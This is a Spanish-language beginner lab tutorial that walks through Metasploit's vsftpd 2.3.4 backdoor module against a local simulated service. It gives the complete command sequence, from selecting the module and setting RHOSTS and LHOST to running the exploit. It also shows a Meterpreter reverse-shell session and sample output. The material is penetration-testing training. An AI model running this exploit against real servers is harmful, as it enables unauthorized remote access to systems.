Ejecución de un exploit sencillo con Metasploit

LinuxBeginner
Practicar Ahora

Introducción

¡Bienvenido al mundo de las pruebas de penetración con Metasploit! El framework Metasploit es una potente herramienta de código abierto utilizada por profesionales de la ciberseguridad para detectar vulnerabilidades en redes y servidores.

En este laboratorio, realizarás un exploit clásico y directo. Hemos configurado un entorno simulado donde un servidor ejecuta una versión vulnerable de VSFTPD (Very Secure FTP Daemon), específicamente la versión 2.3.4. Esta versión en particular contiene una puerta trasera muy conocida que fue añadida secretamente a su código fuente.

Tu objetivo es utilizar la consola de Metasploit (msfconsole) para encontrar, configurar y lanzar un exploit contra este servicio con el fin de obtener una shell de comandos en el sistema objetivo. Este ejercicio práctico te enseñará el flujo de trabajo fundamental para utilizar Metasploit en la ejecución de un exploit sencillo.

¡Comencemos!

Este es un laboratorio guiado que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 95%. Ha recibido una tasa de reseñas positivas del 100% por parte de los estudiantes.

Seleccionar el exploit del servicio vulnerable con use exploit/unix/ftp/vsftpd_234_backdoor

En este paso, iniciarás la consola de Metasploit y seleccionarás el módulo de exploit adecuado para la puerta trasera de VSFTPD 2.3.4. La msfconsole es la interfaz principal del framework Metasploit.

Primero, inicia la consola de Metasploit. Usaremos el parámetro -q (quiet) para omitir el banner y comenzar más rápido.

msfconsole -q

Una vez cargada la consola, tu prompt cambiará a msf >. Ahora, debes indicarle a Metasploit qué exploit deseas utilizar. El comando use carga un módulo específico. El módulo para la puerta trasera de VSFTPD 2.3.4 se encuentra en exploit/unix/ftp/vsftpd_234_backdoor.

Ejecuta el siguiente comando en la consola de Metasploit:

use exploit/unix/ftp/vsftpd_234_backdoor

Después de ejecutar el comando, notarás que tu prompt cambia para incluir el nombre del módulo de exploit seleccionado. Esto indica que el módulo está activo y listo para ser configurado.

Dependiendo de tu versión de Metasploit, es posible que se seleccione automáticamente un payload predeterminado (por ejemplo, cmd/linux/http/x86/meterpreter_reverse_tcp). Este payload requiere dos configuraciones:

  1. LHOST - La IP donde Metasploit escucha la conexión inversa. Usa 127.0.0.1 para este laboratorio:
set LHOST 127.0.0.1
  1. Encoder - El codificador predeterminado puede fallar con el mensaje "All encoders failed to encode." Establece el codificador en generic/none para evitar la codificación:
set Encoder generic/none

Configurar la IP objetivo con set RHOSTS target_ip

En este paso, configurarás el exploit estableciendo la dirección IP del host objetivo. La mayoría de los módulos de Metasploit requieren que especifiques un objetivo. La opción para el host remoto objetivo es RHOSTS.

Dado que el servicio FTP vulnerable se está ejecutando en la misma máquina en la que te encuentras (nuestro entorno de laboratorio), puedes usar la dirección IP de loopback, que es 127.0.0.1.

Para establecer esta opción, utiliza el comando set seguido del nombre de la opción (RHOSTS) y su valor (127.0.0.1).

Introduce el siguiente comando en tu msfconsole:

set RHOSTS 127.0.0.1

Metasploit confirmará la configuración imprimiendo la opción y su nuevo valor.

RHOSTS => 127.0.0.1

Ahora le has indicado a Metasploit hacia dónde dirigir el ataque.

Verificar las opciones del exploit con show options

En este paso, verificarás que todas las opciones requeridas para el exploit estén configuradas correctamente antes de lanzarlo. Esta es una mejor práctica fundamental para asegurar que tu exploit esté configurado adecuadamente.

El comando show options muestra todas las opciones configurables para el módulo cargado actualmente, sus configuraciones actuales y si son obligatorias.

Ejecuta el siguiente comando en tu msfconsole:

show options

Verás una tabla que enumera las opciones del módulo y las opciones del payload.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST    127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT    4444             yes       The listen port
   ...

Observa la salida. Asegúrate de que RHOSTS sea 127.0.0.1 y LHOST sea 127.0.0.1. El RPORT es 21 (FTP). Con todas las opciones requeridas configuradas, estás listo para continuar.

Ejecutar el exploit con el comando exploit

Ahora que el exploit está configurado, procederás a ejecutarlo contra el objetivo. El comando exploit (que también puede abreviarse como run) lanza el ataque basándose en el módulo y la configuración actuales.

Ejecuta el exploit escribiendo el siguiente comando y presionando Enter:

exploit

SOLUCIÓN DE PROBLEMAS: Si aparece el error Msf::OptionValidateError One or more options failed to validate: LHOST, ejecuta set LHOST 127.0.0.1. Si recibes el mensaje All encoders failed to encode, ejecuta set Encoder generic/none para desactivar la codificación. Luego, vuelve a ejecutar exploit.

ADVERTENCIA: Es posible que el primer intento falle con el mensaje "Unable to connect to backdoor on 6200/TCP. Cooldown?" o "Exploit completed, but no session was created." Si esto sucede, simplemente vuelve a ejecutar el comando exploit; el segundo intento debería tener éxito.

Metasploit intentará ahora explotar la puerta trasera (backdoor). Verás una salida detallando los pasos del ataque. Si tiene éxito, activará la puerta trasera y abrirá una sesión de Meterpreter.

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Importante: Una vez que el exploit tenga éxito, accederás a un prompt de Meterpreter. ¡Esto significa que has obtenido acceso remoto con éxito! Puedes ejecutar shell para obtener una consola de comandos interactiva y, a continuación, ejecutar whoami o id para confirmar que tienes acceso:

shell
Process 1234 created.
Channel 1 created.
whoami
labex

¡Felicidades, has obtenido acceso remoto con éxito!

Comprobar la sesión con sessions -l

En este paso, aprenderás a gestionar la conexión activa, o "sesión", que acabas de abrir. Metasploit te permite tener múltiples sesiones abiertas a la vez y cambiar entre ellas.

Primero, para volver al prompt de msfconsole sin cerrar tu sesión, necesitas enviarla a segundo plano (background). Presiona Ctrl+Z en tu teclado. Si estás dentro de una shell (después de ejecutar shell), escribe y para enviar el canal a segundo plano; volverás a meterpreter >. Presiona Ctrl+Z nuevamente y escribe y cuando se te solicite enviar la sesión a segundo plano:

Background session 1? [y/N]  y
msf exploit(unix/ftp/vsftpd_234_backdoor) >

El comando sessions solo funciona en el prompt principal de Metasploit (msf exploit(...) >), no dentro de Meterpreter. Ahora estás de vuelta en el prompt principal de Metasploit. Para ver una lista de todas tus sesiones activas, utiliza el comando sessions con el parámetro -l (list).

sessions -l

Esto mostrará una tabla de todas las sesiones en segundo plano, incluyendo su ID, tipo e información de conexión.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Puedes ver tu sesión listada con un ID de 1. Si quisieras interactuar con ella nuevamente, usarías el comando sessions -i 1. Esta gestión de sesiones es una característica clave de Metasploit.

Resumen

¡Felicidades! Has completado con éxito este laboratorio y has realizado tu primer exploit utilizando el framework Metasploit.

En este laboratorio, has aprendido el flujo de trabajo fundamental de una prueba de penetración con Metasploit:

  • Iniciar la consola de Metasploit (msfconsole).
  • Seleccionar un módulo de exploit específico con el comando use.
  • Configurar el objetivo del módulo con el comando set.
  • Verificar la configuración con show options.
  • Lanzar el ataque utilizando el comando exploit.
  • Gestionar la conexión resultante utilizando sessions.

Este patrón básico de "seleccionar, configurar, explotar" es la base de casi todas las actividades que realizarás dentro de Metasploit. Ahora cuentas con el conocimiento central para explorar exploits y payloads más complejos.